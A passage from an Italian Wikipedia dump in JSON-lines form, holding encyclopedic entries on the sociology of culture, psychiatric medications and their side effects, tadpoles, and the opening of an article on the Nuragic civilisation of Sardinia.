dislivelli. Gramsci, schematizzando, parl\u00f2 di Cultura Egemonica (che ha il potere di definire i suoi confini) e Cultura Subalterna che, non avendo tale potere, non ha possibilit\u00e0 di definirsi. Ad esempio la divisione tra Hutu e Tutsi \u00e8 nata in seguito alla colonizzazione belga. Nella societ\u00e0 moderna, pur essendo presenti differenze culturali su base linguistica ed etnica, esse sono tollerate perch\u00e9 viene favorita l'integrazione culturale tramite l'istruzione obbligatoria e le classi sociali non hanno confini rigidi: Baumann addirittura parla di \u00abmodernit\u00e0 liquida\u00bb.\nCultura e civilizzazione.\nOggi gli antropologi non considerano la cultura il semplice risultato dell'evoluzione biologica, ma suo elemento intrinseco, il meccanismo principale dell'adattamento dell'uomo al mondo esterno.\nSecondo queste opinioni, la cultura si presenta come un sistema di simboli con capacit\u00e0 di adattamento, che pu\u00f2 cambiare da un posto all'altro, permettendo agli antropologi di studiarne le differenze, che si esprimono in variet\u00e0 concrete di miti e rituali, in strumenti, in variet\u00e0 abitative e in principi di organizzazione dei villaggi. In questo modo, gli antropologi evidenziano una differenza tra \u201ccultura materiale\u201d e \u201ccultura simbolica\u201d, non solo perch\u00e9 questi concetti rispecchiano sfere diverse dell'attivit\u00e0 umana, ma anche perch\u00e9 comprendono dati base diversi, che in fase di analisi richiedono approcci diversi.\nSecondo quest'idea di cultura, che prevaleva nell'intervallo tra le due guerre, ogni cultura ha i suoi confini e deve essere considerata come un unico insieme che usa dei punti di vista propri.\nCome risultato emerge il concetto di \u201crelativismo culturale\u201d, idea secondo la quale una persona pu\u00f2 accettare i costumi altrui, attraverso i concetti dell'altrui cultura e i suoi elementi (usi, ecc.), e la conoscenza dei sistemi dei simboli, di cui sono parte.\nDi conseguenza, il concetto che la cultura contiene dei codici di simboli e dei mezzi per trasmetterli da una persona all'altra, significa che la cultura, anche se entro certi limiti, cambia costantemente.\nIl fatto che la cultura cambi pu\u00f2 essere la conseguenza della formazione di nuove cose, cos\u00ec come avviene al momento del contatto con un'altra cultura. Su scala mondiale, il contatto tra le culture porta all'assimilazione (attraverso lo studio) di vari elementi, cio\u00e8 la compenetrazione delle culture. In condizioni di antitesi o disuguaglianza politica, le persone di una cultura possono certamente cogliere i valori culturali di un'altra collettivit\u00e0 o imporre i propri valori (\u201cacculturazione\u201d).\nIn sociologia.\nInfluenzata dagli studi dell'antropologia culturale, la sociologia si dedica con particolare attenzione allo studio della cultura. Secondo la concezione di Tylor (antropologo inglese - 1871), si definisce cultura quell'insieme di segni, artefatti e modi di vita che gli individui condividono. In senso antropologico, cultura \u00e8 tutto ci\u00f2 che possiede un determinato significato (simboli, linguaggio), e il termine \u00e8 riferito a un gruppo specifico: la cultura ha quindi dei confini riconoscibili.\nA partire dagli anni 60/70 del Novecento, il concetto di cultura ha iniziato ad avere un ruolo centrale e non pi\u00f9 marginale. La struttura produttiva e occupazionale (societ\u00e0 dei servizi) cambia e si sviluppano i vari settori. La cultura dunque porta cambiamento, che a sua volta valorizza il marketing, la qualit\u00e0 del prodotto, le strategie economiche: tutti elementi che necessitano la conoscenza.\nOgni cultura \u00e8 relativa alla societ\u00e0 o al gruppo a cui appartiene. Essa pu\u00f2 essere per esempio la vita familiare, la religione, gli abbigliamenti, le consuetudini ecc, ed \u00e8 limitata ad un determinato arco di tempo e luogo. Uno dei pi\u00f9 grossi errori della storia \u00e8 stato quello di gerarchizzare la cultura, un vero e proprio atto di egoismo che ha comportato la credenza e il sostenimento di culture \u201csuperiori\u201d ad altre, generando il blocco culturale delle nazioni e quindi conflitti internazionali. Oggi invece siamo nel pieno della globalizzazione: si pu\u00f2 dunque parlare di Sincretismo, la fusione/conciliazione di pi\u00f9 credenze.\nDistinzioni.\nLa cultura si pu\u00f2 distinguere in base agli Aspetti materiali e quelli immateriali:\n- Tuttavia esiste una correlazione (o meglio Interdipendenza) tra i due tipi di cultura, ovvero non pu\u00f2 esistere la cultura materiale senza quella immateriale: la materiale \u00e8 portatrice dell'immateriale, ed \u00e8 responsabile dei cambiamenti e dei modi di vita. Secondo Weber, in Cina erano molto pi\u00f9 avanzati dell'Occidente, ma la presenza dell'etica confuciana e il tipo di societ\u00e0 bloccavano la rivoluzione capitalista. In occidente, invece, la rivoluzione protestante sblocc\u00f2 il capitalismo e svegli\u00f2 il suo sviluppo economico. La cultura immateriale \u00e8 sempre pi\u00f9 lenta: le mentalit\u00e0 rimangono immutate per secoli.\nAspetti immateriali.\nSono i valori, le norme e i simboli:\nDiffusione e Influenza.\nEsistono diversi tipi di cultura:\nLa cultura in base al soggetto produttore.\nDa chi viene creata una cultura? E a quali scopi? \u00c8 possibile distinguere diversi livelli di cultura:\nIl contributo di \u00c9mile Durkheim.\n\u00c9mile Durkheim, ponendosi il problema del perch\u00e9 la societ\u00e0 mantenga un livello minimo di coesione, ritiene che ogni societ\u00e0 si stabilisca e permanga solo se si costituisce come comunit\u00e0 simbolica. Nel suo studio, e in quello dei suoi allievi, hanno una grande importanza le rappresentazioni collettive, cio\u00e8 insiemi di norme e credenze condivise da un gruppo sociale, sentite dagli individui come obbligatorie. Esse sono considerate da Durkheim vere e proprie istituzioni sociali che costituiscono il cemento della societ\u00e0, consentendo la comunicazione tra i suoi membri e mutando con il cambiamento sociale.\nIl contributo della scuola di Chicago.\nGli autori legati alla Scuola di Chicago sono interessati alla vita culturale nelle citt\u00e0 statunitensi e studiano i nuovi processi di integrazione, di comunicazione e mobilit\u00e0 sociale delle realt\u00e0 urbane.\nIl sociologo William Thomas studia gli immigrati nelle societ\u00e0 statunitensi e ritiene che le differenze di integrazione siano legate alla cultura e che la cultura abbia un carattere interattivo e processuale.\nIl contributo di Talcott Parsons.\nDopo anni di scarso interesse da parte dei sociologi, Talcott Parsons riprende il tema della cultura e la considera come uno dei sottosistemi del suo sistema generale dell'azione (lo schema AGIL).\nParsons afferma che la cultura \u00e8 costituita da sistemi strutturali o ordinati di simboli (che sono gli oggetti dell'orientamento all'azione), da componenti interiorizzate della personalit\u00e0 degli individui e da modelli istituzionalizzati dei sistemi sociali (\"Sistema sociale\", 1951).\nParsons distingue quattro dimensioni idealtipiche principali della cultura:\nOltre a queste dimensioni analitiche, si distinguono quattro componenti della cultura: valori, norme, concetti e simboli.\nNell'era della globalizzazione.\nCon l'avvento della globalizzazione lo studio della cultura si complica e semplifica allo stesso tempo. Se nella modernit\u00e0 i territori erano concepiti come contenitori di culture, nell'epoca contemporanea la cultura viene studiata in una prospettiva relazionale e reticolare.\nL'antropologo svedese Ulf Hannerz afferma infatti che \u201cin quanto sistemi collettivi di significato le culture appartengono innanzitutto alle relazioni sociali e ai network di queste relazioni. Appartengono ai luoghi solo indirettamente e senza una necessit\u00e0 logica\u201d (da \"La complessit\u00e0 culturale\", 1998).\nIl contributo di Pierre Bourdieu.\nIl sociologo Pierre Bourdieu ha introdotto nelle analisi sociologiche delle influenze culturali i concetti di \"habitus\" che sottintende l'insieme di atteggiamenti e comportamenti acquisiti per lo pi\u00f9 inconsci, che influenzano le pratiche e le percezioni dei membri di una classe sociale, ed il concetto di \"capitale culturale\" ovvero il capitale di studi, oggetti culturali, modelli di espressione sviluppati nel corso della socializzazione di classe.\nCulture interdipendenti e indipendenti.\nSotto la prospettiva socio-culturale i ricercatori Hazel Markus e Shinobu Kitayama nel 1991 hanno proposto la distinzione tra \"culture indipendenti\" che enfatizzano l'autonomia individuale diffuse nei paesi occidentali e \"culture interdipendenti\" che enfatizzano le relazioni con le persone e l'armonia sociale.\nL'evoluzione della cultura.\nAnche l'evoluzione della specie incide sull'evoluzione culturale in quanto gli stessi cambiamenti demografici condizionano le culture e viceversa."}
{"id": "26528", "revid": "768068", "url": "https://it.wikipedia.org/wiki?curid=26528", "title": "Psicofarmaco", "text": "Gli psicofarmaci sono una classe molto eterogenea di farmaci psicoattivi (quindi degli psicotropi legali), approvati per il trattamento di un'ampia variet\u00e0 di disturbi psichiatrici e neurologici, anche se specie negli ultimi decenni hanno trovato efficacia anche in patologie non prettamente psichiatriche.\nLa maggior parte di essi possono essere prescritti anche dai medici di medicina generale, anche se alcune tipologie sottoposte a particolare sorveglianza e controllo, sono competenza esclusiva dello specialista psichiatra e solo in alcuni casi del neurologo.\nNonostante alcuni composti psicoattivi di derivazione naturale siano noti da secoli, a partire dagli anni '50 gli psicofarmaci di sintesi hanno diminuito la necessit\u00e0 dei ricoveri in ospedale a lungo termine, riducendo quindi il costo della cura della salute mentale e permettendo una migliore gestione delle patologie psichiatriche.\nStoria.\nPrima del 1950 non esistevano psicofarmaci nell'accezione moderna del termine. Alcune sostanze di origine naturale, molte delle quali conosciute da secoli, erano utilizzate nel trattamento degli stati d'animo negativi: ad esempio gli estratti di alcune erbe (come l\u2019erba di San Giovanni e il kratom in Indonesia) erano usati nella cura degli stati d'ansia e di depressione; anche bevande alcoliche, estratti di oppio e cannabis erano usati a questo scopo, oltre a quello ricreativo; la caffeina era usata come uno stimolante.\nIntorno al 1850 fu isolata la cocaina dalle foglie di Coca che raggiunse in breve una certa popolarit\u00e0 per i suoi effetti contro la fatica e ristorativi (Sigmund Freud era solito usarla, a basse dosi, come un antidepressivo); negli stessi anni furono sintetizzati degli analoghi sintetici dell'oppio, come la morfina e l'eroina, che furono commercializzati da diverse case farmaceutiche per diversi scopi; cominci\u00f2 inoltre la diffusione in Europa e in America della cannabis. Verso la fine del 1800 divennero popolari le amfetamine e alcuni loro derivati per le loro propriet\u00e0 energizzanti, stimolanti e antidepressive (alcuni furono disponibili come farmaco da banco fino agli anni settanta). Nei primi anni del '900 furono commercializzati i primi calmanti barbiturici, utilizzati come sedativi per calmare gli stati di agitazione psicotica e maniacale, gli stati d'ansia e per indurre il sonno. Anche la reserpina veniva tal volta utilizzata a tale scopo.\nLa storia della psicofarmacologia moderna incomincia negli anni cinquanta quando furono osservate le propriet\u00e0 calmanti, ma non sedative della clorpromazina (il capostipite degli antipsicotici) che al tempo veniva utilizzata come antistaminico e contro alcune complicanze operatorie. In breve tempo divennero evidenti le sue propriet\u00e0 neurolettiche. Quasi contemporaneamente, in maniera casuale, si riconobbero le propriet\u00e0 euforizzanti dell'iproniazide, utilizzata al tempo come antitubercolare, che divenne il capostipite degli antidepressivi MAO inibitori. Negli stessi anni furono casualmente osservate le propriet\u00e0 antidepressive dell'imipramina che al tempo veniva sperimentata come antipsicotico e che divenne il capostipite degli antidepressivi triciclici; furono inoltre commercializzati gli ansiolitici-sedativi derivati dai carbammati (il cui sviluppo era iniziato a met\u00e0 degli anni quaranta) come il meprobamato.\nNegli anni '60 furono commercializzati l'aloperidolo (uno dei pi\u00f9 noti antipsicotici), alcuni stabilizzanti dell'umore come valproato e la carbamazepina, i sali di litio e sintetizzato il clordiazepossido, il capostipite delle benzodiazepine. Negli anni '70, con l'intento di creare degli antidepressivi che conservassero l'efficacia dei triciclici ma con meno effetti collaterali, furono studiati e quindi commercializzati (a partire dalla met\u00e0 degli anni '80 fino ai primi anni 2000) gli antidepressivi SSRI. Nel frattempo nuovi composti antidepressivi correlati ai triciclici (come l'amineptina e la tianeptina) e non (come la nomifensina e la clonidina), gli antipsicotici atipici (o di seconda generazione) e altri composti psicoattivi (come il metilfenidato) venivano via via sintetizzati e commercializzati. Con l'approfondimento dei meccanismi biologici della depressione, nel corso degli stessi anni e fino a quelli pi\u00f9 recenti furono commercializzati i cosiddetti antidepressivi di seconda generazione come il bupropione (1989), il trazodone (1981), la mirtazapina (1996) e gli SNRI\\NaRI, altri composti psicoattivi come gli agonisti della dopamina, ansiolitici come il buspirone (1986), stimolanti per il deficit di attenzione e iperattivit\u00e0 (come l'atomoxetina). Negli ultimi anni sono stati approvati nuovi antidepressivi con un meccanismo d'azione integrato (come vilazodone e vortioxetina) e neurolettici di terza generazione (detti anche modulatori dell'attivit\u00e0 dopaminergica come l'aripiprazolo).\nSono dei farmaci estremamente diffusi ed alcuni di questi (come ad esempio l'antidepressivo \"Prozac\" e l'ansiolitico \"Valium\") superano, per numero di vendite, altri farmaci ben pi\u00f9 noti come analgesici e antiacidi. Recentemente, per alcuni di essi sono state avanzate critiche per via del loro sempre pi\u00f9 ampio utilizzo; sia per applicazioni offlabel (tentativo di evergreening da parte delle case farmaceutiche), sia per classi di pazienti (come minori e per patologie moderate) per le quali non sono stati ancora sufficientemente sperimentati.\nDescrizione generale.\nLe cause biologiche dei disturbi psichiatrici e dell'umore non sono state del tutto comprese ma si ritiene possano risiedere in alterazioni della struttura cellulare e della chimica dei neuroni (ad esempio nella quantit\u00e0 di messaggeri secondari e di recettori), della attivit\u00e0 e struttura delle aree cerebrali, della qualit\u00e0 e caratteristiche della trasmissione dell'impulso nervoso (mediato anche dall'azione dei neurotrasmettitori), del livello di espressione genica. Alterazioni di queste funzionalit\u00e0 possono essere dovute a fattori genetici, farmacologici, ambientali, psicologici ma anche a patologia sia a livello centrale che sistemico (come mostrato ad esempio dalla connessione tra flora intestinale, fattori ormonali, sistema immunitario e sistema nervoso centrale). Probabilmente i disturbi psichiatrici hanno una origine multifattoriale, in cui cio\u00e8 diverse cause contribuiscono a determinare un quadro patologico dalla sintomatologia caratteristica.\nLe varie classi di psicofarmaci sono caratterizzate da un meccanismo d'azione molto eterogeneo, accomunate dal fatto di agire a livello del sistema nervoso centrale su dei target quali, ad esempio, recettori cellulari, enzimi, proteine trasportatrici, canali ionici (generalmente bloccandone l'attivit\u00e0 o raramente inducendola). Queste azioni farmacologiche vanno a modulare le caratteristiche della trasmissione dell'impulso nervoso, generando nel breve termine delle modificazioni nella chimica e nel funzionamento dei neuroni e nel lungo termine degli adattamenti del funzionamento delle cellule e delle aree cerebrali (come la modulazione dell'espressione dei geni, l'inibizione o l'attivazione di particolari pathway metaboliche, alterazioni della struttura e dell'attivit\u00e0 di alcune aree cerebrali) che sono alla base degli effetti terapeutici ma anche di quelli collaterali.\nLa scoperta del meccanismo terapeutico degli psicofarmaci \u00e8 stato molto spesso dovuto all'osservazione casuale che particolari farmaci utilizzati nel trattamento di altre patologie, erano in grado di migliorare i sintomi dei disturbi psichiatrici. Lo studio del loro target farmacologico a livello del sistema nervoso centrale ha permesso di sintetizzare dei composti pi\u00f9 selettivi e con minori effetti collaterali e di formulare delle teorie \"empiriche\" sull'origine dei disturbi psichiatrici: ad esempio i farmaci neurolettici devono la maggior parte loro azione terapeutica al blocco dei recettori D2 della dopamina, ci\u00f2 ha portato a formulare la teoria che la fisiopatologia delle psicosi sia dovuta a un'iperattivit\u00e0 del sistema dopaminergico in alcune aree cerebrali ma non \u00e8 noto se tale iperattivit\u00e0 sia la reale causa del disturbo o solo un sintomo di un problema sottostante.\nAnche per questo gli psicofarmaci tendono ad avere una certa componente soggettiva e le terapie farmacologiche per uno stesso disturbo mentale possono variare da paziente a paziente in termini di scelta del farmaco, posologia e durata del trattamento in base alla loro efficacia e tollerabilit\u00e0, sempre in stretta collaborazione tra paziente e medico curante.\nPrescrizione.\nAlcuni psicofarmaci richiedono una prescrizione di un medico specialista, come ad esempio uno psichiatra, prima di essere ottenuti sebbene una buona parte \u00e8 prescrivibile anche dai medici di medicina generale. Alcuni stati e territori degli Stati Uniti, hanno esteso agli psicologi clinici la possibilit\u00e0 di prescrizione, previa un'istruzione specializzata supplementare e la formazione in psicologia medica.\nAd eccezione degli ansiolitici benzodiazepinici, che possono essere utilizzati al bisogno e con una certa autonomia da parte del paziente, la maggior parte degli psicofarmaci richiede un trattamento cronico, spesso per anni o a vita, o fino alla risoluzione della patologia psicologica. Durante l'assunzione \u00e8 necessario lo stretto controllo, da parte del medico curante, dell'efficacia del trattamento oltre che delle condizioni di salute e psicologiche del paziente in modo da rilevare precocemente effetti collaterali, alcuni dei quali possono comportare gravi complicazioni (epatiche o neurologiche come nel caso della discinesia tardiva), o fenomeni di abuso o dipendenza (come nel caso dei sedativi o degli stimolanti).\nOltre al classico dosaggio in forma di pillola, per iniezione (specie le forme a lento rilascio che possono essere operate solo in centri autorizzati) o gocce, i farmaci psichiatrici si stanno evolvendo in nuovi metodi di somministrazione come il rilascio transdermico, transmucosale, la somministrazione per inalazione e la forma a supposta.\nEffetti collaterali in corso di trattamento e da sospensione.\nGli effetti collaterali degli psicofarmaci dipendono strettamente dal loro meccanismo d'azione, tuttavia tra farmaci della stessa classe possono esserci differenze significative nell'incidenza e intensit\u00e0 degli effetti collaterali che possiedono inoltre una certa componente soggettiva e non prevedibile. Gli effetti collaterali possono essere anche gravi o intollerabili dal paziente, la loro comparsa pu\u00f2 sensibilmente incidere sulla \"compliance\" del farmaco. \nAccade comunemente che alcuni effetti indesiderati degli psicofarmaci siano pi\u00f9 evidenti nei primi giorni di trattamento e che siano dose dipendenti, possono perci\u00f2 essere diminuiti incrementando lentamente il dosaggio e utilizzando quello pi\u00f9 basso possibile. Tuttavia se gli effetti risultano intollerabili si pu\u00f2 optare per il passaggio ad un altro farmaco per la gestione della patologia. Alcuni effetti collaterali possono essere anche gestiti trattando i sintomi, utilizzando cio\u00e8 farmaci aggiuntivi, anche se ci\u00f2 non deve essere considerato un approccio di prima linea per via di possibili interazioni sfavorevoli.\nIn linea di principio, gli effetti collaterali sono dovuti sia all'azione farmacologica diretta del farmaco sia a processi adattivi del funzionamento cerebrale che, in quanto tali, non si ristabiliscono immediatamente alla sospensione del farmaco. Ci\u00f2 \u00e8 alla base dei cos\u00ec detti \"effetti collaterali da sospensione\" che includono sintomi di astinenza (come ad esempio nel caso delle benzodiazepine), sindromi neuropsichiatriche e vegetative (come nel caso degli antidepressivi) e \"rebound\" della patologia trattata (ad esempio l'improvvisa o grave riemersione della psicosi dopo l'interruzione degli antipsicotici o aggravamento dell'ansia dopo la sospensione delle benzodiazepine). Gli effetti collaterali da sospensione possono comparire quando l'assunzione del farmaco viene sospesa o interrotta troppo rapidamente, anche nel caso di passaggio a farmaci simili: in questi casi lo scalaggio graduale del farmaco, anche nel corso di mesi, pu\u00f2 rendersi necessario.\nSe gli effetti collaterali da sospensione perdurano per un lungo periodo, o addirittura col tempo incrementano, si parla di \"effetti collaterali da sospensione post-acuti\" (in inglese indicati con l\u2019acronimo \"PAWS\") che si riferiscono ad una serie di sintomi neuropsichiatrici e vegetativi dovuti al non ristabilirsi dell'omeostasi dei processi biologici cerebrali perturbati dall'azione del farmaco. Questi effetti collaterali possono persistere anche per molti mesi.\nUn'altra classe di effetti collaterali pi\u00f9 rari ma potenzialmente ben pi\u00f9 gravi \u00e8 rappresentata dagli \"effetti collaterali persistenti\" dei sintomi neuropsichiatrici e vegetativi dovuti a processi biologici maladattivi in risposta al farmaco, che si instaurano nel corso del trattamento (o pi\u00f9 raramente in corrispondenza della sospensione dello stesso) e che persistono per un tempo indefinito dopo la sospensione del farmaco, causando notevole disagio al paziente. Tra i pi\u00f9 noti, la discinesia tardiva causata dai neurolettici, le disfunzioni sessuali post trattamento causate dagli antidepressivi SSRI/SNRI, mentre l'uso a lungo termine di benzodiazepine \u00e8 collegato a deterioramento delle capacit\u00e0 cognitive.\nUn altro effetto collaterale comunemente associato a diversi tipi di psicofarmaci, specialmente quelli con propriet\u00e0 anticolinergiche, \u00e8 la diminuzione della salivazione (xerostomia). La salivazione ha un ruolo fondamentale nel mantenere la salute della cavit\u00e0 orale, l\u2019assunzione di psicofarmaci in grado di diminuire la salivazione \u00e8 stata associata ad una maggiore incidenza di problemi dentali come carie e infiammazioni gengivali.\nNegli ultimi anni sono stati pubblicati diversi studi che sembrano indicare come alcuni psicofarmaci siano collegati ad un aumentato rischio di mortalit\u00e0 e ad un deterioramento delle capacit\u00e0 mentali, in particolare in alcune classi di soggetti. Tuttavia rimane ancora da stabilire la reale portata di questi effetti. Secondo una meta-analisi di studi, pubblicata sulla rivista \"Psychotherapy and Psychosomatics\" nel 2017, l'assunzione di antidepressivi SSRI \u00e8 associata ad un incremento della probabilit\u00e0 di morte per qualsiasi causa del 33% nella popolazione senza precedenti fattori di rischio (come patologie cardiovascolari o metaboliche). Tuttavia nei soggetti con tali fattori di rischio, l'aumento della probabilit\u00e0 di morte non \u00e8 significativo. Ci\u00f2 si crede sia dovuto tra l'altro alla capacit\u00e0 di questi farmaci di influenzare la viscosit\u00e0 ematica che, mentre nei soggetti con patologie cardiovascolari pu\u00f2 avere un effetto benefico, in quelli sani pu\u00f2 essere dannoso. Un altro studio indicherebbe che l'uso di antidepressivi serotoninergici \u00e8 legato ad un maggiore rischio di valvulopatie, probabilmente a causa della stimolazione del recettore 5HT2B. Un aumento della mortalit\u00e0 \u00e8 stato osservato anche negli anziani in corso di trattamento con antipsicotici, cos\u00ec come sono stati osservati disordini metabolici anche gravi.\nL\u2019uso a lungo termine degli antipsicotici ad alti dosaggi sarebbe associato ad una diminuzione dello spessore di diverse aree cerebrali. Secondo un altro studio pubblicato nel 2017, ci sarebbero indicazioni di come la somministrazione di antidepressivi e benzodiazepine raddoppierebbe la probabilit\u00e0 di sviluppare demenza, compresa quella del tipo Alzheimer. \nClassificazione.\nVi sono cinque gruppi principali di farmaci psichiatrici\nAntidepressivi.\nGli antidepressivi sono farmaci utilizzati per trattare la depressione clinica ma vengono anche spesso usati contro l'ansia e altri disturbi sia psichiatrici che non. Una classe di antidepressivi attualmente pi\u00f9 comunemente usati sono gli inibitori selettivi della ricaptazione della serotonina (SSRI), che agiscono bloccando il principale processo di riciclo della serotonina (reuptake) aumentandone la concentrazione sinaptica. Occorrono da 3 a 5 settimane prima che gli effetti antidepressivi di questi farmaci, in particolare degli SSRI, si manifestino pienamente: ci\u00f2 si crede sia dovuto al fatto che l'effetto antidepressivo non \u00e8 solamente dovuto all'incremento della concentrazione dei neurotrasmettitori ma anche a delle modificazioni adattive del funzionamento e della chimica del cervello, come la desensibilizzazione dei recettori della serotonina.\nAltre classi di antidepressivi sono gli antidepressivi di seconda generazione, gli SNRI, gli inibitori della monoamino ossidasi (IMAO) e i triciclici (TCA) ma specie quest'ultime due classi sono ritenute delle scelte di seconda linea per via degli effetti collaterali potenzialmente anche gravi.\nAntidepressivi comuni:\nAnsiolitici e ipnotici.\nGli ansiolitici sono dei farmaci studiati per placare i sintomi psicologici e somatoformi dell'ansia, come gli attacchi di panico, l'ansia generalizzata e le somatizzazioni. Diverse classi di farmaci mostrano un effetto ansiolitico, anche composti non specificatamente approvati per tale scopo (come ad esempio gli antistaminici e i betabloccanti).\nI farmaci pi\u00f9 comunemente prescritti per il trattamento dell'ansia a breve termine e dell'insonnia sono le benzodiazepine. Altri farmaci utilizzati per il trattamento dell'ansia sono gli ansiolitici atipici, gli antidepressivi, i barbiturici, gli antiipertensivi, gli antistaminici.\nAntipsicotici.\nGli antipsicotici, detti anche sedativi maggiori o neurolettici, sono farmaci utilizzati per il trattamento dei vari sintomi della psicosi, come quelli causati da disturbi psicotici o dalla schizofrenia. Si dividono in due classi: tipici, o di prima generazione, e atipici, o di seconda generazione. Gli antipsicotici atipici sono utilizzati anche come stabilizzatori dell'umore nel trattamento del disturbo bipolare e possono aumentare l'efficacia degli antidepressivi nel disturbo depressivo maggiore, anche se tale combinazione \u00e8 ritenuta una scelta di seconda linea per via degli effetti collaterali potenzialmente gravi di questa classe di farmaci.\nStimolanti.\nGli psicostimolanti sono una categoria di psicofarmaci in grado di stimolare le funzioni cognitive, psicologiche e comportamentali di un soggetto. Sono perci\u00f2 utilizzati nei deficit di attenzione, nella narcolessia, nella depressione caratterizzata da astenia, a volte sono stati usati come adiuvanti nella perdita di peso.\nGli stimolanti possono creare dipendenza e i pazienti con una storia di tossicodipendenza devono essere strettamente monitorati qualora l'assunzione non possa essere evitata. Per questo sono stati anche sperimentati nella terapia di disassuefazione da stupefacenti. La sospensione repentina del trattamento pu\u00f2 causare sintomi di astinenza fisici e psicologici, come ansia, anche gravi.\nStimolanti comuni:\nStabilizzatori dell'umore.\nNel 1949, l'australiano John Cade ha scoperto che i sali di litio sono in grado di controllare la mania, riducendo la frequenza e la gravit\u00e0 degli episodi maniacali. Oltre al litio, diversi anticonvulsivanti e antipsicotici atipici hanno attivit\u00e0 di stabilizzatori dell'umore. Il loro meccanismo d'azione non \u00e8 tuttavia ben compreso.\nAlcuni stabilizzatori dell'umore:\nNella cultura di massa.\nCinema.\nGli psicofarmaci sono un tema ricorrente nelle opere di Carlo Verdone. Ad esempio in \"Maledetto il giorno che ti ho incontrato\", i due protagonisti fanno largo uso di ansiolitici. Lo stesso Verdone ha pi\u00f9 volte ammesso di averne fatto uso.\nMusica.\nNella musica gli psicofarmaci vengono citati da autori come CCCP - Fedeli alla linea, nella canzone \"Valium, Tavor, Serenase\" e in altre (il cantante/fondatore del gruppo Giovanni Lindo Ferretti ha lavorato come operatore psichiatrico per 5 anni prima di dedicarsi alla musica); da Vasco Rossi nella canzone \"Valium\" dell'album \"Siamo solo noi\", dai Subsonica nella canzone \"Depre\" dell'album \"Microchip emozionale\", da Samuele Bersani nella canzone \"En e Xanax\", da Max Gazz\u00e8 nella canzone \"Il farmacista\". Eminem scrive un intero album (\"Relapse\") che parla del suo periodo di dipendenza da psicofarmaci. Il nome del gruppo Prozac + \u00e8 ispirato a un noto psicofarmaco."}
{"id": "26536", "revid": "124957512", "url": "https://it.wikipedia.org/wiki?curid=26536", "title": "Girino", "text": "Il girino propriamente detto \u00e8 lo stadio larvale degli anfibi anuri come rane e rospi, mentre per gli anfibi caudati come le salamandre si parla di larva. \nAspetto e fisiologia.\nIl girino assomiglia pi\u00f9 a un piccolo pesce che non ad un anfibio. Il suo corpo \u00e8 caratterizzato da due zone ben distinte: una tondeggiante, comprendente la testa e gli organi vitali; l'altra \u00e8 la lunga coda, potente e flessibile. Il girino respira attraverso delle branchie e si nutre generalmente di vegetali (organismo fitofago); tuttavia, alcune specie di girini si nutrono, analogamente alle larve degli anfibi caudati, di organismi animali come insetti e altre larve.\nHabitat.\nI girini sono organismi acquatici. Generalmente, essi prediligono le acque stagnanti, ferme e ricche di vegetazione, ma molte specie possono essere trovate anche in torrenti montani con forte corrente.\nStadi della metamorfosi.\nIl girino \u00e8 solamente uno stadio della vita dell'anfibio, e quindi dovr\u00e0 subire un processo di metamorfosi che lo porter\u00e0 alla forma finale.\nStrategie di sopravvivenza.\nI ricercatori hanno studiato a lungo i girini dello scafiopo, che si formano in stagni temporanei localizzati nel deserto, e quindi devono elaborare strategie di sopravvivenza particolari per crescere rapidamente e abbandonare il pi\u00f9 presto possibile il loro primo precario ambiente di vita.\nLa particolarit\u00e0 di questi girini \u00e8 che pur essendo nati onnivori, talvolta diventano carnivori e cannibali, cambiando conseguentemente anche struttura muscolare, forma e dimensione. Le loro stesse abitudini sociali mutano a seconda delle loro tendenze alimentari e in qualunque caso tendono a risparmiare i loro fratelli."}
{"id": "26537", "revid": "239497", "url": "https://it.wikipedia.org/wiki?curid=26537", "title": "Civilt\u00e0 nuragica", "text": "La civilt\u00e0 nuragica, nata e sviluppatasi in Sardegna, abbracci\u00f2 un periodo di tempo che va dalla piena et\u00e0 del bronzo (2300-1800 a.C.) al II secolo d.C. per buona parte dell'isola, ormai in epoca romana ma, per la parte centro-orientale, in seguito conosciuta come Barbagia, fino al VI secolo d.C. in epoca altomedioevale, in cui ancora esistevano comunit\u00e0 di cultura nuragica indipendenti e dove il cristianesimo si sarebbe imposto solo successivamente, e probabilmente addirittura fino all'XI secolo d.C.\nFu il frutto della graduale evoluzione di preesistenti culture gi\u00e0 diffuse sull'Isola sin dal neolitico, le cui tracce pi\u00f9 evidenti giunte sino a noi sono costituite da \"dolmen\", \"menhir\" e \"domus de janas\", a cui si aggiunsero i nuovi stimoli e apporti culturali dell'et\u00e0 dei metalli. Deve il suo nome ai nuraghi, imponenti costruzioni megalitiche considerate le sue vestigia pi\u00f9 eloquenti e sulla cui effettiva funzione si discute da almeno cinque secoli.\nDurante la sua storia millenaria ha avuto continui scambi culturali e commerciali con le pi\u00f9 importanti civilt\u00e0 mediterranee coeve, ma nel corso del V secolo a.C., l'entrata in conflitto con l'imperialismo cartaginese prima, e quello romano poi, ne decret\u00f2 il declino. Oltre alle caratteristiche costruzioni nuragiche, la civilt\u00e0 degli antichi sardi ha prodotto altri monumenti come i caratteristici templi dell'acqua sacra, le tombe dei giganti, le enigmatiche sculture in arenaria di Mont'e Prama e delle particolari statuine in bronzo.\nStoria.\nLe origini.\nLe fonti greche.\nAnticamente i geografi e gli storici greci tentarono di risolvere l'enigma dei misteriosi popoli costruttori di nuraghi. Per loro la Sardegna era la pi\u00f9 grande isola del Mediterraneo (in realt\u00e0 \u00e8 la seconda) e la descrivevano come una terra felice e libera, dove fioriva una civilt\u00e0 ricca e raffinata e dall'agricoltura fiorentissima.\nNei loro resoconti i Greci parlarono di edifici favolosi che battezzarono \"daidaleia\", dal nome del loro leggendario architetto Dedalo. Secondo una leggenda fu lui a concepire il famoso labirinto del re Minosse a Creta, prima di sbarcare in Sicilia e trasferirsi successivamente in Sardegna, accompagnato da un gruppo di coloni.\nIpotesi della storiografia moderna.\nGli antichi Sardi prima dei nuraghi.\nLa Sardegna fu abitata stabilmente da genti arrivate nel paleolitico e nel neolitico da varie parti del continente europeo e del bacino del Mediterraneo. I primi insediamenti sono stati rinvenuti sia nella parte centrale che nell'Anglona, ma in tutta l'isola progressivamente si svilupparono diverse culture, alcune diffuse solo in certe zone, altre come quella di Ozieri si estesero sino a coprire tutto il territorio isolano.\nLe antiche popolazioni erano dedite principalmente alla coltivazione delle terre, alla pastorizia, alla pesca e alla navigazione (che le portava a tessere contatti di natura commerciale e culturale con altri popoli) e, a partire dal III millennio a.C., alla lavorazione del rame e dell'argento.\nRisalenti a queste culture si possono ancora oggi ammirare pi\u00f9 di 2.400 tombe ipogeiche conosciute con il nome sardo di \"domus de janas\". Queste singolari vestigia si trovano disseminate in tutto il territorio isolano (ad eccezione della Gallura, dove si prediligeva l'uso di seppellire i defunti nei circoli megalitici o nei 